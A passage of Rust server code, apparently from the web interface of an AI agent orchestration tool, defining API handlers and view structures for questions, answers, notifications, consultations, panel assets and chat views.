7638 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7639 pick(ids, id, "task")
7640}
7641
7642#[derive(Debug, Serialize)]
7653struct QuestionView {
7654 choice_effects: std::collections::BTreeMap<String, String>,
7655 record_revision: String,
7656 #[serde(flatten)]
7657 question: Question,
7658 detail_md: Vec<md::Node>,
7659 posting_view: Option<PostingView>,
7660 thread_bodies_md: Vec<Vec<md::Node>>,
7662 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7665 waiting_on_agent: bool,
7675 holder: Option<&'static str>,
7679 deputies_enabled: bool,
7683 deputy_exhausted: bool,
7686 text_delivery: crate::question_delivery::Availability,
7687 run_is_task: bool,
7690 origin_chat: Option<String>,
7693 origin_chat_closed: bool,
7695 can_consult_chat: bool,
7697}
7698
7699#[derive(Debug, Serialize)]
7700struct PostingView {
7701 before_md: Vec<md::Node>,
7702 after_md: Vec<md::Node>,
7703 fields: Vec<crate::github_text::ComparisonView>,
7704}
7705
7706fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7707 let comparison = question.posting_comparison.as_ref()?;
7708 if !comparison.matches_detail(&question.detail) {
7709 return None;
7710 }
7711 let mut ids = std::collections::BTreeSet::new();
7712 if comparison.fields.is_empty()
7713 || comparison
7714 .fields
7715 .iter()
7716 .flat_map(|f| &f.pairs)
7717 .any(|p| !ids.insert(p.id))
7718 || comparison
7719 .fields
7720 .iter()
7721 .flat_map(|f| &f.original_triggers)
7722 .any(|t| !ids.insert(t.id))
7723 {
7724 return None;
7725 }
7726 let fields = comparison
7727 .fields
7728 .iter()
7729 .map(|f| f.view(comparison.excerpt))
7730 .collect::<Option<Vec<_>>>()?;
7731 Some(PostingView {
7732 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7733 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7734 fields,
7735 })
7736}
7737
7738impl QuestionView {
7739 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7743 let base = md::ImageBase::QuestionPanel {
7744 id: question.id.clone(),
7745 };
7746 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7747 Self {
7748 choice_effects: question
7749 .choices
7750 .iter()
7751 .filter_map(|c| {
7752 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7753 })
7754 .collect(),
7755 record_revision: question_record_revision(&question),
7756 detail_md: md::to_nodes(&question.detail, &base),
7757 posting_view: posting_view(&question, &base),
7758 thread_bodies_md: question
7759 .thread
7760 .iter()
7761 .map(|t| md::to_nodes(&t.body, &base))
7762 .collect(),
7763 thread_notes_md: question
7764 .thread
7765 .iter()
7766 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7767 .collect(),
7768 deputy_exhausted: store.deputy_exhausted(&question),
7769 waiting_on_agent: question.waiting_on_agent(),
7770 holder,
7771 deputies_enabled: deputies_enabled(cfg, &question),
7772 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7773 run_is_task: question.run_names_task(),
7774 origin_chat: None,
7775 origin_chat_closed: false,
7776 can_consult_chat: false,
7777 question,
7778 }
7779 }
7780
7781 fn with_origin(
7783 mut self,
7784 tasks: &[crate::queue::Task],
7785 talks: &[Talk],
7786 watches: &[crate::release_watch::WatchState],
7787 ) -> Self {
7788 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7789 self.can_consult_chat = consult.is_some();
7790 let talk =
7791 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7792 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7793 self.origin_chat = talk.map(|t| t.id);
7794 self
7795 }
7796}
7797
7798fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7802 Config::discover(repo, None).ok().map(|(c, _)| c)
7803}
7804
7805fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7807 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7808}
7809
7810fn question_views(
7813 qs: Vec<Question>,
7814 store: &ask::Questions,
7815 load: impl FnOnce() -> Option<Config>,
7816) -> Vec<QuestionView> {
7817 if qs.is_empty() {
7818 return Vec::new();
7819 }
7820 let cfg = load();
7821 qs.into_iter()
7822 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7823 .collect()
7824}
7825
7826fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7836 if !q.status.open() {
7837 return None;
7838 }
7839 if q.cwd.is_none()
7840 && q.deputy.is_none()
7841 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7842 {
7843 return crate::deputy::kind_of(q).map(|_| "nobody");
7844 }
7845 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7846 Some(_) if q.deputy.is_some() => "deputy",
7847 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7848 Some(_) => "asker",
7849 None => "nobody",
7850 })
7851}
7852
7853async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7859 blocking(move || {
7860 let questions = ui.questions.list();
7861 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7862 Ok(Json(
7863 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7864 .into_iter()
7865 .map(|view| view.with_origin(&tasks, &talks, &watches))
7866 .collect(),
7867 ))
7868 })
7869 .await
7870}
7871
7872async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7874 blocking(move || {
7875 Ok(Json(question_views(
7876 ui.questions.list(),
7877 &ui.questions,
7878 || deputy_config(&ui.repo),
7879 )))
7880 })
7881 .await
7882}
7883
7884fn question_record_revision(question: &Question) -> String {
7885 use std::hash::{Hash as _, Hasher as _};
7886 let mut hash = std::hash::DefaultHasher::new();
7887 serde_json::to_vec(question)
7888 .expect("serializable question")
7889 .hash(&mut hash);
7890 format!("{:016x}", hash.finish())
7891}
7892
7893#[derive(Serialize)]
7894struct QuestionOriginView {
7895 id: String,
7896 record_revision: String,
7897 origin_chat: Option<String>,
7898 origin_chat_closed: bool,
7899 can_consult_chat: bool,
7900}
7901
7902async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7903 blocking(move || {
7904 let questions = ui.questions.list();
7905 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7906 Ok(Json(
7907 questions
7908 .into_iter()
7909 .map(|question| {
7910 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7911 let can_consult_chat = consult.is_some();
7912 let talk = crate::consult::associated_talk_with_watches(
7913 &tasks, &talks, &question, &watches,
7914 );
7915 QuestionOriginView {
7916 record_revision: question_record_revision(&question),
7917 id: question.id,
7918 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7919 origin_chat: talk.map(|talk| talk.id),
7920 can_consult_chat,
7921 }
7922 })
7923 .collect(),
7924 ))
7925 })
7926 .await
7927}
7928
7929type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7930
7931fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7935 fn task_for_run(
7936 ui: &Ui,
7937 index: &mut Option<Vec<Arc<TaskRelation>>>,
7938 run: &str,
7939 loaded: &HashMap<String, Task>,
7940 ) -> ApiResult<Option<Task>> {
7941 if !plain_record_id(run) {
7942 return Ok(None);
7943 }
7944 if index.is_none() {
7945 *index = Some(ui.indexed_tasks()?);
7946 }
7947 Ok(index
7948 .as_ref()
7949 .expect("loaded index")
7950 .iter()
7951 .find(|task| task.runs.iter().any(|id| id == run))
7952 .and_then(|task| {
7953 loaded
7954 .get(&task.id)
7955 .cloned()
7956 .or_else(|| ui.queue.get(&task.id).ok())
7957 })
7958 .filter(|task| task.runs.iter().any(|id| id == run)))
7959 }
7960 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7961 plain_record_id(id)
7962 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7963 .flatten()
7964 .filter(|task| task.id == id)
7965 };
7966 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7967 let mut index = None;
7968 let mut tasks = HashMap::new();
7969 let mut talks = HashMap::new();
7970 for question in questions {
7971 for reference in crate::consult::question_task_refs(question, &watches) {
7972 let mut current = match reference {
7973 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7974 crate::consult::QuestionTaskRef::Run(id) => {
7975 task_for_run(ui, &mut index, id, &tasks)?
7976 }
7977 };
7978 let mut seen = HashSet::new();
7979 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7980 let Some(task) = current.take() else {
7981 break;
7982 };
7983 if !seen.insert(task.id.clone()) {
7984 break;
7985 }
7986 let chat = task.chat_talk().map(str::to_owned);
7987 let followup = task.followup.clone();
7988 tasks.insert(task.id.clone(), task);
7989 if let Some(chat) = chat {
7990 if plain_record_id(&chat)
7991 && !talks.contains_key(&chat)
7992 && let Ok(talk) = ui.talks.get(&chat)
7993 {
7994 talks.insert(chat, talk);
7995 }
7996 break;
7997 }
7998 let Some(followup) = followup else {
7999 break;
8000 };
8001 current = match followup.origin_task {
8002 Some(id) => direct_task(&id, &tasks),
8003 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8004 };
8005 }
8006 }
8007 }
8008 let mut tasks: Vec<Task> = tasks.into_values().collect();
8009 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8010 Ok((tasks, talks.into_values().collect(), watches))
8011}
8012
8013async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8016 blocking(move || {
8017 let items = ui.notices.list();
8018 let unread = items.iter().filter(|n| n.unread()).count();
8019 let items: Vec<_> = items
8020 .into_iter()
8021 .map(|n| {
8022 let question = crate::notices::answerable_question(&n, &ui.questions);
8023 let mut item = serde_json::to_value(n)?;
8024 item["answerable_question"] = serde_json::json!(question);
8025 Ok(item)
8026 })
8027 .collect::<anyhow::Result<_>>()?;
8028 Ok(Json(
8029 serde_json::json!({ "unread": unread, "items": items }),
8030 ))
8031 })
8032 .await
8033}
8034
8035fn notice_error(e: anyhow::Error) -> ApiError {
8036 ApiError::not_found(format!("{e:#}"))
8039}
8040
8041async fn notification_read(
8043 State(ui): State<Arc<Ui>>,
8044 Path(id): Path<String>,
8045) -> ApiResult<Json<Notice>> {
8046 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8047}
8048
8049async fn notification_dismiss(
8051 State(ui): State<Arc<Ui>>,
8052 Path(id): Path<String>,
8053) -> ApiResult<Json<Notice>> {
8054 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8055}
8056
8057async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8059 blocking(move || {
8060 let changed = ui.notices.mark_all_read()?;
8061 Ok(Json(serde_json::json!({ "marked": changed })))
8062 })
8063 .await
8064}
8065
8066#[derive(Debug, Default, Deserialize)]
8072#[serde(default, deny_unknown_fields)]
8073struct NewAnswer {
8074 choice: Option<String>,
8075 text: Option<String>,
8076 talk: Option<String>,
8077 head: Option<String>,
8078}
8079
8080async fn question_answer(
8081 State(ui): State<Arc<Ui>>,
8082 Path(id): Path<String>,
8083 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8084) -> ApiResult<Json<QuestionView>> {
8085 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8086 let answer = match (body.choice, body.text) {
8087 (Some(c), None) => Answer::Choice(c),
8088 (None, Some(t)) => Answer::Text(t),
8089 (Some(_), Some(_)) => {
8090 return Err(ApiError::bad_request(
8091 "send either `choice` or `text`, not both",
8092 ));
8093 }
8094 (None, None) => {
8095 return Err(ApiError::bad_request("send a `choice` or a `text`"));
8096 }
8097 };
8098
8099 blocking(move || {
8100 let id = resolve_question(&ui.questions, &id)?;
8101 let q = ui
8102 .questions
8103 .get(&id)
8104 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8105 if !q.status.open() {
8106 return Err(ApiError::conflict(format!(
8110 "question {} is already {}",
8111 q.short(),
8112 q.status.as_str()
8113 )));
8114 }
8115 let cfg = deputy_config(&ui.repo);
8119 let (q, ()) = ui
8120 .questions
8121 .update(&q.id, |r| {
8122 let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8123 if r.routed_task.is_some()
8126 && r.merge_target.is_some()
8127 && merge
8128 && (body.talk.is_some() || body.head.is_some())
8129 {
8130 let talk_id = body
8131 .talk
8132 .as_deref()
8133 .context("approval button requires its chat")?;
8134 let head = body
8135 .head
8136 .as_deref()
8137 .context("approval button requires the displayed head")?;
8138 let talk = ui.talks.get(talk_id)?;
8139 anyhow::ensure!(talk.status.open(), "approval chat is closed");
8140 r.answer_chat_button(answer, talk_id, head)
8141 } else {
8142 r.answer(answer)
8143 }
8144 })
8145 .map_err(ApiError::bad_request_from)?;
8146 let (tasks, talks, watches) =
8147 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8148 Ok(Json(
8149 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8150 ))
8151 })
8152 .await
8153}
8154
8155fn question_text_error(e: anyhow::Error) -> ApiError {
8157 let reason = e
8158 .downcast_ref::<crate::question_delivery::TextUnavailable>()
8159 .map(|e| e.reason);
8160 let error = ApiError::bad_request_from(e);
8161 if let Some(reason) = reason {
8162 ApiError {
8163 text_reason: Some(reason),
8164 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8165 }
8166 } else {
8167 error
8168 }
8169}
8170
8171#[derive(Debug, Deserialize)]
8173#[serde(deny_unknown_fields)]
8174struct NewSay {
8175 body: String,
8176}
8177
8178async fn question_say(
8188 State(ui): State<Arc<Ui>>,
8189 Path(id): Path<String>,
8190 body: std::result::Result<Json<NewSay>, JsonRejection>,
8191) -> ApiResult<Json<QuestionView>> {
8192 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8193 blocking(move || {
8194 let id = resolve_question(&ui.questions, &id)?;
8195 let q = ui
8196 .questions
8197 .get(&id)
8198 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8199 if !q.status.open() {
8200 return Err(ApiError::conflict(format!(
8204 "question {} is already {}",
8205 q.short(),
8206 q.status.as_str()
8207 )));
8208 }
8209 let cfg = deputy_config(&ui.repo);
8212 let (q, ()) = ui
8213 .questions
8214 .update(&q.id, |r| {
8215 if body.body.trim().is_empty() {
8216 return r.say(body.body);
8217 }
8218 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8219 r.say(body.body)
8220 })
8221 .map_err(question_text_error)?;
8222 let (tasks, talks, watches) =
8223 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8224 Ok(Json(
8225 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8226 ))
8227 })
8228 .await
8229}
8230
8231async fn admitted<T: Send + 'static>(
8234 admission: AdmissionGuard,
8235 work: impl Future<Output = ApiResult<T>> + Send + 'static,
8236) -> ApiResult<T> {
8237 tokio::spawn(async move {
8238 let result = work.await;
8239 drop(admission);
8240 result
8241 })
8242 .await
8243 .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8244}
8245
8246async fn question_consult(
8255 State(ui): State<Arc<Ui>>,
8256 Path(id): Path<String>,
8257) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8258 let admission = ui.begin_admission()?;
8259 admitted(admission, async move {
8260 let (q, tasks, talks, watches, talk, cfg) = blocking({
8261 let ui = Arc::clone(&ui);
8262 move || {
8263 let id = resolve_question(&ui.questions, &id)?;
8264 let q = ui.questions.get(&id).map_err(|e| {
8265 ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8266 })?;
8267 if !q.status.open() {
8268 return Err(ApiError::conflict(format!(
8269 "question {} is already {}",
8270 q.short(),
8271 q.status.as_str()
8272 )));
8273 }
8274 let (tasks, talks, watches) =
8275 question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8276 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8277 return Err(ApiError::conflict(format!(
8278 "question {} has no chat to ask",
8279 q.short()
8280 )));
8281 };
8282 let cfg = if q.consult.is_none() {
8286 Some(Config::discover(&talk.repo, None)?.0)
8287 } else {
8288 None
8289 };
8290 Ok((q, tasks, talks, watches, talk, cfg))
8291 }
8292 })
8293 .await?;
8294 let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8295 .await
8296 .map_err(ApiError::from)?;
8297 let (view, reclaimed, submitted) = blocking({
8298 let ui = Arc::clone(&ui);
8299 move || {
8300 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8301 let claim = if fresh {
8302 match ui.begin_queued_talk_turn(&talk.id)? {
8303 Some(turn_guard) => {
8304 let talk = ui.talks.get(&talk.id)?;
8305 let cfg = match cfg {
8306 Some(cfg) => cfg,
8307 None => Config::discover(&talk.repo, None)?.0,
8308 };
8309 Some((talk, cfg, turn_guard))
8310 }
8311 None => None,
8312 }
8313 } else {
8314 None
8315 };
8316 let q = ui.questions.get(&q.id)?;
8317 let cfg = deputy_config(&ui.repo);
8318 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8319 .with_origin(&tasks, &talks, &watches);
8320 Ok((view, claim, fresh.then_some(talk.id)))
8321 }
8322 })
8323 .await?;
8324 #[cfg(not(test))]
8325 {
8326 if let Some(id) = submitted {
8327 crate::consult::spawn_turn(&ui.talks, &id)
8328 .await
8329 .map_err(ApiError::from)?;
8330 }
8331 drop(reclaimed);
8332 }
8333 #[cfg(test)]
8334 let _ = submitted;
8335 #[cfg(test)]
8336 if let Some((talk, cfg, turn_guard)) = reclaimed {
8337 let talks = ui.talks.clone();
8338 let id = talk.id.clone();
8339 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8340 }
8341 Ok((StatusCode::ACCEPTED, Json(view)))
8342 })
8343 .await
8344}
8345
8346fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8348 if plain_record_id(id) && store.path_of(id).is_file() {
8349 return Ok(id.to_owned());
8350 }
8351 pick(
8352 store.list().into_iter().map(|q| q.id).collect(),
8353 id,
8354 "question",
8355 )
8356}
8357
8358async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8373 blocking(move || {
8374 let id = resolve_question(&ui.questions, &id)?;
8375 let Some(html) = ui.questions.panel_html(&id) else {
8376 return Err(ApiError::not_found(format!("question {id} has no panel")));
8377 };
8378 Ok(panel_response(
8379 "text/html; charset=utf-8",
8380 false,
8381 html.into_bytes(),
8382 ))
8383 })
8384 .await
8385}
8386
8387async fn question_asset(
8415 State(ui): State<Arc<Ui>>,
8416 Path((id, name)): Path<(String, String)>,
8417) -> ApiResult<Response> {
8418 if !crate::ask::valid_asset_name(&name) {
8421 return Err(ApiError::bad_request(format!(
8422 "`{name}` is not a usable asset name"
8423 )));
8424 }
8425 blocking(move || {
8426 let id = resolve_question(&ui.questions, &id)?;
8427 let asset = ui
8428 .questions
8429 .panel_asset(&id, &name)
8430 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8431 let Some(bytes) = asset else {
8432 return Err(ApiError::not_found(format!(
8433 "question {id} has no asset `{name}`"
8434 )));
8435 };
8436 Ok(panel_response(
8437 asset_content_type(&name),
8438 is_svg(&name),
8439 bytes,
8440 ))
8441 })
8442 .await
8443}
8444
8445fn asset_content_type(name: &str) -> &'static str {
8458 match extension(name).as_deref() {
8459 Some("png") => "image/png",
8460 Some("jpg" | "jpeg") => "image/jpeg",
8461 Some("gif") => "image/gif",
8462 Some("webp") => "image/webp",
8463 Some("svg") => "image/svg+xml",
8464 Some("css") => "text/css; charset=utf-8",
8465 Some("txt") => "text/plain; charset=utf-8",
8466 _ => "application/octet-stream",
8467 }
8468}
8469
8470fn is_svg(name: &str) -> bool {
8473 extension(name).as_deref() == Some("svg")
8474}
8475
8476fn extension(name: &str) -> Option<String> {
8478 name.rsplit_once('.')
8479 .map(|(_, ext)| ext.to_ascii_lowercase())
8480}
8481
8482fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8499 let mut res = (
8500 [
8501 (header::CONTENT_TYPE, content_type),
8502 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8503 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8504 (header::REFERRER_POLICY, "no-referrer"),
8505 ],
8506 body,
8507 )
8508 .into_response();
8509 if download {
8510 res.headers_mut().insert(
8511 header::CONTENT_DISPOSITION,
8512 HeaderValue::from_static("attachment"),
8513 );
8514 }
8515 res
8516}
8517
8518#[derive(Debug, Serialize)]
8524struct ChatApproval {
8525 question: String,
8526 target: crate::merge_decision::Target,
8527}
8528
8529#[derive(Debug, Serialize)]
8530struct TalkView {
8531 #[serde(flatten)]
8532 talk: Talk,
8533 turn_bodies_md: Vec<Vec<md::Node>>,
8534 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8536 pending_messages_md: Vec<Option<Vec<md::Node>>>,
8537 merge_approvals: Vec<ChatApproval>,
8538 thinking: bool,
8546 context: talk::ContextUsage,
8550 operator_name: Option<String>,
8553 persona_name: Option<String>,
8555 persona_avatar: String,
8558 operator_avatar: String,
8560 magi_avatar: String,
8561}
8562
8563impl TalkView {
8564 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8567 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8568 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8569 }
8570
8571 fn with_config(
8574 talk: Talk,
8575 thinking: bool,
8576 cfg: Option<&Config>,
8577 home: &FsPath,
8578 cache: &id_links::IndexCache,
8579 ) -> Self {
8580 let references = cache.for_talk(home, &talk);
8581 Self::with_references(talk, thinking, cfg, home, &references)
8582 }
8583
8584 fn with_references(
8585 mut talk: Talk,
8586 thinking: bool,
8587 cfg: Option<&Config>,
8588 home: &FsPath,
8589 references: &id_links::IdIndex,
8590 ) -> Self {
8591 let snapshot = talk.clone();
8593 for (index, turn) in talk.turns.iter_mut().enumerate() {
8594 let original = &snapshot.turns[index];
8595 if turn.messages.is_empty() {
8596 if let Some(display) = talk::notice_display(&snapshot, original, None) {
8597 turn.messages.push(talk::Message {
8598 sender: Some(talk::Sender::Magi),
8599 body: original.body.clone(),
8600 display: Some(display),
8601 attachments: original.attachments.clone(),
8602 reply: None,
8603 });
8604 }
8605 } else {
8606 for (i, message) in turn.messages.iter_mut().enumerate() {
8607 message.display =
8608 talk::notice_display(&snapshot, original, original.messages.get(i));
8609 if message.display.is_some() {
8610 message.sender = Some(talk::Sender::Magi);
8611 }
8612 }
8613 }
8614 }
8615 for message in &mut talk.pending_messages {
8616 if message.display.is_none()
8617 && (message.sender == Some(talk::Sender::Magi)
8618 || snapshot
8619 .completion_notices
8620 .iter()
8621 .any(|r| r.notice == message.body))
8622 {
8623 message.display = crate::prompt::legacy_notice_display(&message.body);
8624 if message.display.is_some() {
8625 message.sender = Some(talk::Sender::Magi);
8626 }
8627 }
8628 }
8629 if talk.pending_messages.is_empty()
8630 && snapshot
8631 .completion_notices
8632 .iter()
8633 .any(|r| r.notice == talk.pending)
8634 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8635 {
8636 talk.pending_messages.push(talk::Message {
8637 sender: Some(talk::Sender::Magi),
8638 display: Some(display),
8639 body: talk.pending.clone(),
8640 attachments: talk.pending_attachments.clone(),
8641 reply: None,
8642 });
8643 }
8644 let excerpts: Vec<Vec<Option<String>>> = talk
8645 .turns
8646 .iter()
8647 .map(|turn| {
8648 turn.messages
8649 .iter()
8650 .map(|m| {
8651 m.display
8652 .as_ref()
8653 .map(|d| d.facts.chars().take(240).collect())
8654 })
8655 .collect()
8656 })
8657 .collect();
8658 for turn in &mut talk.turns {
8659 let provenance = talk::sender(turn, None);
8660 turn.sender = Some(provenance);
8661 for message in &mut turn.messages {
8662 message.sender = Some(message.sender.unwrap_or(provenance));
8663 }
8664 }
8665 let senders: Vec<Vec<talk::Sender>> = talk
8667 .turns
8668 .iter()
8669 .map(|turn| {
8670 if turn.messages.is_empty() {
8671 vec![talk::sender(turn, None)]
8672 } else {
8673 turn.messages
8674 .iter()
8675 .map(|m| talk::sender(turn, Some(m)))
8676 .collect()
8677 }
8678 })
8679 .collect();
8680 for reply in talk
8681 .turns
8682 .iter_mut()
8683 .flat_map(|t| t.messages.iter_mut())
8684 .chain(talk.pending_messages.iter_mut())
8685 .filter_map(|m| m.reply.as_mut())
8686 {
8687 if let Some(Some(excerpt)) = excerpts
8688 .get(reply.target.turn)
8689 .and_then(|ms| ms.get(reply.target.message))
8690 {
8691 reply.excerpt = excerpt.clone();
8692 reply.sender = Some(talk::Sender::Magi);
8693 }
8694 if reply.sender.is_none() {
8695 reply.sender = senders
8696 .get(reply.target.turn)
8697 .and_then(|messages| messages.get(reply.target.message))
8698 .copied();
8699 }
8700 }
8701 let context = talk::context_usage(&talk, cfg);
8702 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8703 .turns
8704 .iter()
8705 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8706 .collect();
8707 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8708 .turns
8709 .iter()
8710 .map(|turn| {
8711 if turn.messages.is_empty() {
8712 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8713 } else {
8714 turn.messages
8715 .iter()
8716 .map(|message| {
8717 notice_markdown(
8718 message.sender.unwrap_or(talk::Sender::Operator),
8719 &message.body,
8720 message.display.as_ref(),
8721 )
8722 })
8723 .collect()
8724 }
8725 })
8726 .collect();
8727 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8728 .pending_messages
8729 .iter()
8730 .map(|message| {
8731 notice_markdown(
8732 message.sender.unwrap_or(talk::Sender::Operator),
8733 &message.body,
8734 message.display.as_ref(),
8735 )
8736 })
8737 .collect();
8738 for nodes in &mut turn_bodies_md {
8739 references.markdown(nodes);
8740 }
8741 for nodes in turn_messages_md
8742 .iter_mut()
8743 .flatten()
8744 .chain(pending_messages_md.iter_mut())
8745 .flatten()
8746 {
8747 references.markdown(nodes);
8748 }
8749 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8750 let persona_name = persona::find(specs, &talk.persona)
8751 .filter(|p| !p.is_default())
8752 .map(|p| p.name);
8753 let mut avatar_persona = persona::find(specs, &talk.persona)
8754 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8755 if avatar_persona.id != talk.persona
8757 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8758 {
8759 avatar_persona.id.clone_from(&talk.persona);
8760 avatar_persona.icon = None;
8761 }
8762 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8763 let approvals_store = ask::Questions::at(home.join("questions"));
8764 let merge_approvals = talk
8765 .notified
8766 .iter()
8767 .filter_map(|key| key.strip_prefix("question:"))
8768 .filter_map(|id| approvals_store.get(id).ok())
8769 .filter(|q| crate::task_chat::approval_offered(&talk, q))
8770 .filter_map(|q| {
8771 Some(ChatApproval {
8772 question: q.id,
8773 target: q.merge_target?,
8774 })
8775 })
8776 .collect();
8777 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8778 Self {
8779 turn_bodies_md,
8780 turn_messages_md,
8781 pending_messages_md,
8782 merge_approvals,
8783 thinking,
8784 context,
8785 operator_name,
8786 persona_name,
8787 persona_avatar,
8788 magi_avatar: magi_icon_url(home),
8789 operator_avatar: operator_icon_url(home),
8790 talk,
8791 }
8792 }
8793}
8794
8795fn notice_markdown(
8797 sender: talk::Sender,
8798 body: &str,
8799 display: Option<&crate::prompt::NoticeDisplay>,
8800) -> Option<Vec<md::Node>> {
8801 if sender != talk::Sender::Magi {
8802 return None;
8803 }
8804 let text = if let Some(display) = display {
8805 display.facts.as_str()
8806 } else {
8807 if crate::prompt::is_completion_notice(body)
8810 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8811 {
8812 return None;
8813 }
8814 body.strip_prefix("magi: ").unwrap_or(body)
8815 };
8816 Some(md::to_nodes(text, &md::ImageBase::None))
8817}
8818
8819#[derive(Debug, Serialize)]
8824struct TalkDetailView {
8825 #[serde(flatten)]
8826 view: TalkView,
8827 tasks: Vec<TaskView>,
8828 task_progress: TalkTaskProgress,
8829 roster: Vec<RosterEntry>,
8832 personas: Vec<PersonaEntry>,
8835}
8836
8837#[derive(Debug, Serialize)]
8839struct TalkTaskProgress {
8840 state: &'static str,
8841 total: usize,
8842 done: usize,
8843 counts: std::collections::BTreeMap<&'static str, usize>,
8844 unfinished_ids: Vec<String>,
8845}
8846
8847fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8848 let mut counts = std::collections::BTreeMap::from([
8849 ("queued", 0),
8850 ("running", 0),
8851 ("done", 0),
8852 ("failed", 0),
8853 ("held", 0),
8854 ("blocked", 0),
8855 ("parked", 0),
8856 ]);
8857 let mut unfinished_ids = Vec::new();
8858 for task in tasks {
8859 *counts.entry(task.status.as_str()).or_default() += 1;
8860 if task.status != TaskStatus::Done {
8861 unfinished_ids.push(task.id.clone());
8862 }
8863 }
8864 TalkTaskProgress {
8865 state: if tasks.is_empty() {
8866 "none"
8867 } else if unfinished_ids.is_empty() {
8868 "complete"
8869 } else {
